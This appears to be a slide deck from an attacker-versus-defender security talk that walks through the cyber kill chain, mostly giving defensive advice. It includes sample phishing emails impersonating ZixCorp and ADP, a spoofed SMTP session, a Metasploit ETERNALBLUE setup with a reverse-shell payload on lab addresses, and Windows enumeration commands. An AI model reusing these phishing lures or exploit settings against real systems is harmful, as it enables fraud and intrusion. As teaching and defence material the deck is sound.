Outline

- Introductions
  - Presenters
  - Presentation format
  - Cyber kill chain example

- Anatomy of an Attack
  - External Recon
  - Weaponization
  - Delivery
  - Exploitation
  - Command and Control
  - Internal Network Recon
  - Capture the flag
  - Exfiltration
The Attacker

- David Anderson
  - OSCP – Offensive Security Certified Professional
  - Oversee and participate in:
    - Penetration Testing
    - Social Engineering
    - Vulnerability Assessments

The Defender

- Lee Painter
  - CISSP - Certified Information Systems Security Professional
  - CRISC - Certified in Risk and Information Systems Control
  - HCISPP - HealthCare Information Security and Privacy Practitioner
  - CCSFP - Certified CSF Practitioner
  - Oversee and participate in:
    - IT Audits in Healthcare Industry
Anatomy of an Attack

- How do attackers work?
- What defenses are effective?
- How do I evaluate my own security needs?
- How can I spend my money efficiently?

Cyber Kill Chain
External Recon

CyberKill Chain

- External Recon
- Delivery
- Command Control
- Capture the Flag
- Weaponization
- Exploitation
- Internal Network Recon
- Exfiltration
External Recon

- What do you have?
- Why do you have it?
- What flaws/weaknesses can I take advantage of?

External Recon

- Employees
  - Website
  - Social media
  - Search engines
  - Hosted documents
External Recon

• Systems
  – Shodan
  – DNS brute forcing
  – Port and Service enumeration

External Recon

• Documentation
  – Network map
    ◊ Data flow
  – IP range
  – External access
  – Policies and procedures
• Best practices configuration
External Recon

- **OSINT**
  - Social Media
    - Staff
    - Blogs / News
  - Internet accessible documents
- **Shodan**
- **External port/service scans**

---

External Recon

- **Hosted systems/data**
  - Document systems/data hosted by 3rd parties
- **Monitor probing**
  - Perimeter firewall
  - External websites
  - DNS servers
[DEMO]
CyberKill Chain

Weaponization

- Exploit announcements
- Exploit research
- Creation of an exploit or attack vector
- Purchase an exploit
- Payload creation
Weaponization

- Awareness of current threats
  - Vendor advisories
- IT Security Staff
  - Stay abreast of current trends
- Mitigate Gaps
  - Tool tuning
- Ongoing training on new technology

[DEMO]
CyberKill Chain

- External Recon
- Delivery
- Command Control
- Capture the Flag
- Weaponization
- Exploitation
- Internal Network Recon
- Exfiltration
Delivery

- Direct exploit of publicly available service
- Phishing
- Social Engineering
  - Email spoofing
  - Call spoofing
- Malicious hardware
  - "Free" USB drive from vendors

Phishing Website
Phishing Website

New ZixCorp secure email message from

Open Message
To view the secure message, click Open Message.
The secure message expires on July 22, 2016 @ 07:39 PM (GMT).
Do not reply to this notification message; this message was auto-generated by the
sender’s security system. To reply to the sender, click Open Message.
If clicking Open Message does not work, copy and paste the link below into your
Internet browser address bar:
https://web1.zixmail.net/s/e
Want to send and receive your secure messages transparently?
Click here to learn more.

Phishing Website

ADP Immediate Notification

Over the past few days we have had reports of issues with the distributed W-2’s. As a result we are
issuing W-2c (Corrected W-2) for a large subset ADP customers, including employees. Please
use ADP’s W2 Secure Download portal below to obtain the corrected W-2 and contact your Human
Resources department with any further questions.

W2 Secure Download
Ref: 22771
As usual, thank you for choosing ADP as your business affiliate!

HR, Payroll, Benefits.
The ADP logo and ADP are registered trademarks of ADP, Inc.
In the business of your success is a service mark of ADP, Inc.
© 2012 ADP, Inc. All rights reserved.
**Poor Email Filtering**

Connected to mail.cogentco.com (38.9.X.X).

**MAIL FROM:** <hacker@contoso.com>
250 OK

**RCPT TO:** <david.anderson@claconnect.com>
250 Accepted

**DATA**
354 Enter message, ending with "." on a line by itself

**FROM:** <ElonMusk@tesla.com>
**TO:** <david.anderson@claconnect.com>
**Subject:** Free Tesla Car

---

**Delivery**

- In Person
  - RFID clone
  - Media drops
  - Tailgating
Phone Calls

Delivery

• Mail Security Controls
• Security Assessments of email system
  – Cloud - offsite
  – OWA - onsite
  – Endpoint
• Spam Filters
• Monitoring
Delivery

- All Staff - Security Awareness Training
  - Analyze email “FROM” field
  - Hover over links
  - Is the email expected
  - Who ya gonna call?
CyberKill Chain

- External Recon
- Delivery
- Command Control
- Capture the Flag
- Weaponization
- Exploitation
- Internal Network Recon
- Exfiltration
Exploitation

- Missing patches
  - MS17-010 (WannaCry / ETERNALBLUE)
- System Configuration
  - Malicious Office documents (Macros, OLE, etc.)
  - HTML Applications (.HTA)
  - PowerShell is often utilized to run/deliver the code

PowerShell

Malicious Macro
ETERNALBLUE

```
msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.14.129
RHOST = 192.168.14.129
msf exploit(windows/smb/ms17_010_eternalblue) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue):

Name                     Current Value  Required  Description
------------------------- ----------- ------- ---------------------------------...
Unrandomized             true    yes     Initial number of times to groom the kernel pool.
GroomTable               5    yes     The amount to increase the groom count by per try.
MaxExploitAttempts       5    yes     The number of times to retry the exploit.
ProcessName              sppoolsv.exe  yes     Process to inject payload into.
RHOST                    192.168.14.129   yes     The target address.
PORT                     445    yes     The target port (TCP).
SMBDomain                +    no      (Optional) The Windows domain to use for authentication.
SMBUser                  +    no      (Optional) The username to authenticate as.
SMBPass                  +    no      (Optional) The password for the specified username.
Password                 true    yes     Check if remote architecture matches exploit target.
VerifyUser               true    yes     Check if remote OS matches exploit target.

Payload options (generic/shell_reverse_tcp):

Name                     Current Value  Required  Description
------------------------- ----------- ------- ---------------------------------...
LHOST                    192.168.14.3   yes     The listen address.
LPORT                    4444   yes     The listen port.

Exploit target:
Id        Name
1  Windows 7 and Server 2008 R2 (x64) All Service Packs
```

---

Microsoft Windows (Version 6.3,7601)
©2009 Microsoft Corporation. All rights reserved.
Exploitation

- Security Policy
  - Least Privilege
  - Layered Defense
  - Secure by Design
  - Assume Breach
- Patch management
  - Simplify support
  - Mitigation

Exploitation

Security Baseline
- “Golden Image”
- Desired State Configuration
- GPO
  - User
  - machine
- Benchmarks
  - CIS
  - NIST
  - STIGS
  - USGCB
Exploitation

• Application whitelisting
  – AppLocker
  – Windows Device Guard
• Protect Office Applications
  – Block Macros
  – Windows Defender Exploit Guard
• Log Management

Exploitation

• Tools
  – SysInternals suite
  – LAPS
  – Sysmon
    ◊ IR focused configuration (SwiftOnSecurity)
• Patch management
  – Evaluation
  – Testing
  – ASAP
Exploitation

- Network Monitoring
  - User level
  - Temporal
  - Attempts
  - Behavior
- Segmentation
  - Block endpoint SMB
  - Guest Wi-Fi
  - IoT
  - Secure transactions

[DEMO]
Command and Control

CyberKill Chain

- External Recon
- Delivery
- Command Control
- Capture the Flag
- Weaponization
- Exploitation
- Internal Network Recon
- Exfiltration
Command and Control

- Remote access tool
  - Stabilize connection
  - Persistence
    ◊ Registry
    ◊ Scheduled tasks
    ◊ New service

Command and Control

- Communication
  - Encrypted
  - Mimic “real” network traffic
    ◊ HTTPS / DNS

- Operational Security
Command and Control

• Threat Intelligence
  – Internal
    ◊ SEIM
    ◊ Next-gen Firewalls
  – External feeds
    ◊ Industry – Microsoft, Google, Cisco, HP, etc
    ◊ STIX / TAXII
    ◊ Malware Whitepapers

Command and Control

• Indicators of Compromise
  – DNS logs
  – Review ‘autoruns’
  – Registry changes
  – New files/services/schedules tasks
  – ....APPDATA...
[DEMO]

Internal Network Recon
CyberKill Chain

- External Recon
- Weaponization
- Exploitation
- Internal Network Recon
- Delivery
- Command Control
- Capture the Flag
- Exfiltration

Internal Network Recon

- Where am I?
  - `ipconfig /all`
- Who am I?
  - `whoami`
- What privileges do I have?
  - `whoami /groups`
- Do I have local admin rights?
  - `net localgroup administrators`
Internal Network Recon

• Who is on the network?
  – netstat
  – Port scans
  – DNS enumeration
  – AD enumeration

• Who are the administrators?
  – BloodHound

• PowerShell, again, is heavily utilized
  – “Live off the land”

BloodHound
Internal Network Recon

- Default/easily guessable passwords
- Misconfiguration
- Missing patches

Internal Network Recon

- Secure Network
  - Network Segmentation
- Network Monitoring
  - Netflow
  - Endpoint logs
  - “user” behavior
  - Sensor alerts
  - Log analysis
Internal Network Recon

- Security Policy
  - Least Privilege
  - Assume Breach
- Encryption
  - At-rest
  - In Transit

PowerShell Security

- Upgrade to PowerShell v5
- Remove PowerShell v2
- Enable Script Block Logging
- Enable Script Transcription
- OPTIONAL: Configure Constrained Language Mode
  - Prevents advanced features, such as .NET execution, Windows API calls, and COM access
  - This may cause issues with managing systems with PowerShell
[DEMO]

Capture the Flag
CyberKill Chain

- External Recon
- Delivery
- Command Control
- Capture the Flag
- Weaponization
- Exploitation
- Internal Network Recon
- Exfiltration

Capture the Flag

- Privileged Accounts
  - Based on OSINT
  - IT / Finance / Execs
- Asset Identification
  - Data of interest
- Asset Acquisition
  - Gaining access to data
Capture the Flag

- Network Map
  - “Treasure map”
- Encryption
  - “at rest” encryption
- Logging
  - PowerShell
  - File access
  - Sysmon (process creation / execution)

[DEMO]
Exfiltration

CyberKill Chain

- External Recon
- Delivery
- Command Control
- Capture the Flag
- Weaponization
- Exploitation
- Internal Network Recon
- Exfiltration
Exfiltration

• Collection point

• Package it up
  – Compress
  – Encrypt

• Send it out
  – What is allowed to egress your network?
  – FTP, SSH, HTTP(S), ICMP, etc...

Exfiltration

• Network Monitoring
  – Bandwidth
  – SSL/TLS inspection
  – Understand what is normal

• Firewall Rules
  – Strict egress firewall rules
  – Geo-blocking
Summary

External Recon  Delivery  Command Control  Capture the Flag

Weaponization  Exploitation  Internal Network Recon  Exfiltration

Questions

?
Thank you!

David Anderson
612-376-4699
david.anderson@claconnect.com

Lee Painter
309-495-8709
lee.painter@claconnect.com